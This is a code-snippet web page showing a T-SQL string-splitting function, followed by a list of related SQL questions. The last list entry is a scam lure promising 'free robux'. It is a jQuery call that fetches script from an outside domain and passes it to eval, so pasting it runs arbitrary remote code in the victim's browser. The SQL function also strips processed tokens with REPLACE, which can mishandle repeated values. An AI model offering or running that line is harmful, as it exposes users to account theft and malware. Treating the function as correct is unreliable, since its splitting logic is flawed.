Sql Split string function

CREATE FUNCTION [dbo].[Func_SplitString] 
( @Values VARCHAR(MAX)
, @splitStr VARCHAR(50)
)

RETURNS @Result_Table TABLE
       (
	     [value] nvarchar(MAX) NULL
       )
BEGIN
    DECLARE @TempStr nvarchar(MAX)
    WHILE (CHARINDEX(@splitStr,@Values)>0)
    BEGIN
        SET @TempStr=SUBSTRING(@Values,1,CHARINDEX(@splitStr,@Values)-1)
        INSERT INTO @Result_Table (value) VALUES (ltrim(rtrim(isnull(@TempStr, ''))))
        SET @Values = REPLACE(@Values,@TempStr+@splitStr,'')
    END/*End While*/
	
    IF(LEN(RTRIM(LTRIM(@Values)))>0 AND CHARINDEX(@splitStr,RTRIM(LTRIM(@Values)))=0) 
    BEGIN
        SET @TempStr=@Values 
        INSERT INTO @Result_Table (value) VALUES (ltrim(rtrim(isnull(@TempStr, ''))))
    End /*End IF*/
   RETURN 
END

Similar codes

0 vote218 views1 answer
Install postgresql 12 on debian 10
SQL
5 votes201 views1 answer
Oracle list days between two dates
SQL
4 votes200 views2 answers
Mysql delete user if exists
SQL
0 vote186 views1 answer
Mariadb cast null to 0
SQL
10 votes219 views4 answers
Join multiple tables in sql
SQL
0 vote178 views1 answer
Mysql date minus 1 day
SQL
0 vote186 views3 answers
Sql server import json
SQL
6 votes223 views2 answers
Insert into select mysql
SQL
1 vote201 views1 answer
Alter database datafile maxsize 32g
SQL
1 vote240 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL